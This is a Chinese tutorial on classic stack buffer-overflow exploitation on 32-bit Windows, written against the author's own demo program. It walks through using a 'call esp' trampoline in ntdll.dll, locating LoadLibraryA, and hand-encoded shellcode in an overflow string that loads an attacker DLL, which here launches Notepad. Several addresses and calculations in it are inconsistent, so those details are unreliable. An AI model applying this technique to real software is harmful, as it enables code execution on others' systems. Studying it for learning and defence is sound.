上回说了，我们可以在一个有缓冲区溢出漏洞的程序中执行程序中其他的函数，当然，也可以执行程序中其他的指令。还是以上次讲过的程序为例：

程序A：

#include stdio.h

#include string.h

void foo(const char *input)

{

char buf[10];

strcpy(buf, input);

}

int main(int argc, char *argv[])

{

foo("1234567890123456123456123456");

return 0;

}

启动VS 2005，然后将断点设在函数foo中strcpy的后面，断点执行到了以后，进入反汇编窗口，单步执行到该函数最后一行汇编指令，也就是ret指令，在内存窗口中查看寄存器esp保存的内存地址所存放的值，当然你的内存窗口的显示方式应该是4字节显示方式（x86或者说是32位机器上）。你可以看到该值也已经被foo的参数12345678那些字符串覆盖了，然后你可以看看esp的值和ebp的值刚好相差8个字节。就是说，内存中的形式是这样的：

ebp的值 esp的值

^ ^

| |

--------------------------------------

| |函数返回地址| |

---------------------------------------

而你再看看foo函数最后几个汇编指令：非常标准的函数退出时，所作的栈销毁操作：

mov esp ebp

pop ebp

ret

在ret指令执行完成以后，esp的值就会是foo函数的ebp + 8。

如果我们在esp所指向的内存地址上存放我们的shell code（或者说是我们刻意编写的汇编代码），然后将函数返回地址更改为调用我们的shell code的地址，那么我们所编写的shell code也就会被执行，这时就可以干任何我们想干的事情了，;)。

下面是步骤：

1，编写一个dll，其实exe程序也可以，只不过方法略有不同，如果你是直接执行exe程序的话，可以使用WinExec。这里因为我要导入我编写的dll进入程序A，所以使用的WINAPI函数是LoadLibrary,LoadLibrary需要一个参数，指明要加载的dll的文件路径。

2. 在我编写的dll中，处理的事情很简单，就是启动一个程序，呵呵，下面是源代码：

#include

"stdafx.h"

#include stdio.h

#include windows.h

#ifdef _MANAGED

#pragma managed(push, off)

#endif

BOOL APIENTRY DllMain( HMODULE hModule,

DWORD ul_reason_for_call,

LPVOID lpReserved)

{

STARTUPINFO si;

PROCESS_INFORMATION pi;

ZeroMemory( si,

sizeof(si) );

si.cb = sizeof(si);

ZeroMemory( pi, sizeof(pi) );

switch ( ul_reason_for_call )

{

case DLL_PROCESS_ATTACH: // 每次一个新的进程加载该dll的时候，触发这个条件

WinExec("C://WINDOWS//notepad.exe", SW_SHOW);

break;

default:

break;

}

return TRUE;

}

#ifdef

_MANAGED

#pragma managed(pop)

#endif

3.为了调用LoadLibrary，我们需要写一些汇编指令，因为cpu执行的是机器码，而不是汇编指令，所以你要将汇编指令转换为机器码。转换很简单，在你的代码里面加上下面这几行：

int main()

{

_asm {

jmp esp

}

}

将断点设置在main函数的开始处，执行程序，程序中断后，去反汇编，你会看到类似下面的代码：

00401763 FF E4 jmp esp

00401763是这段汇编码在程序中的地址，FF E4就是jmp esp对应的机器码了。呵呵，如果没有FF E4出现的话，在反汇编窗口中右键单击，选择“Show Byte Code”（VS 2005英文版）。

现在腰调用esp中的地址，可以是jmp esp也可以是call esp，但是这个代码必须是进程中已有的，OK，我们在程序中找到这个地址。再次运行程序A，在main函数中设置断点，中断后，选择Debug -- Window -- Module查看这个程序所有加载的dll（无论是动态的还是静态加载的）。程序A中不出意外的话应该有kernel32.dll和ntdll.dll，还有可能有msvcrt8.dll。

我们找一下这些dll里面有没有对应的机器码，怎么找？怎么把一个dll反汇编？呵呵，VS 2005里面自己就带了一个反汇编工具：dumpbin，路经在C:/Program Files/Microsoft Visual Studio 8/VC/bin。dumpbin有一个选项/disasm就是将任何一个PE文件（DLL或EXE）反汇编

打开cmd窗口，执行dumpbin /disasm c:/windows/system32/kernel32.dll | findstr /c:"FF E4"，哦哦，没有。再试ntdll.dll，还是没有。试一下call esp，它的机器吗是FF E5。kernel32.dll里面没有，啊哈，ntdll.dll里面有，这是搜索结果：

7C914393: FF E5 call esp

4.编写shell code，调用LoadLibrary，需要知道LoadLibrary函数的地址，获取的办法是这样的：LoadLibrary是在kernel32.dll中的，启动Depends.exe，Depends.exe包含在Windows SDK中，你也可以去网上搜一下，下载一个回来用，实在找不到，那我就牺牲一下自己啦。

随便用depends打开一个exe文件，在左上角的依赖树里面点击kernel32.dll，在右边第二个窗口中找到LoadLibraryA这个函数，可以看到它的Entry Point是0x000445EF，如下：

E | Ordinal | Hint | Function | Entry Point

---------------------------------------------------------------------------------------------

754 (0x02F2) | 753 (0x02F1) | LoadLibraryA | 0x000445EF

操作系统不一样，值可能不一样，在最下面的窗口中找到kernel32.dll的base address(Preferred Base)是0x77E00000，如下：

Module | ... 中间很多省略 ... | Preferred Base

-------------------------------------------------------------------------

Kernel32.dll | .... | 0x77E000000

将Kernel32.dll的Preferred Base和LoadLibraryA的Entry Point按位于就获得LoadLibraryA在你的程序中的地址是：0x77E445EF。

5。最后编写汇编代码执行你的黑客程序：

_asm {

mov eax 0x77E445EF // 将LoadLibraryA的地址存在eax寄存器中

call L4

L2: call eax // 调用LoadLibraryA，程序执行到这段指令时LoadLibraryA的参数已经压栈

L3: jmp L3 // 循环，确保被黑的程序不会死掉

L4: call L2

}

6。最后，示例程序如下：

#include

stdio.h

#include string.h

void func(char *p)

{

char stack_temp[20];

strcpy(stack_temp, p);

printf(stack_temp);

}

void foo()

{

printf("This should not be called");

}

int main(int argc, char *argv[])

{

func("I AM MORE THAN TWENTLONG/x93/x43/x91/x7C"

"/xB8/x77/x1D/x80/x7C" // mov eax 0x771D807C LoadLibraryA的地址

"/xEB/x04" // call L4

"/xFF/xD0" // L2: call eax

"/xEB/xFE" // L3: jmp L3

"/xE8/xF7/xFF/xFF/xFF" // L4: call L2

"c://hack.dll/0"); // LoadLibraryA的参数，也就是我们要刻意加载的dll文件

return 0;

}

完了，累死了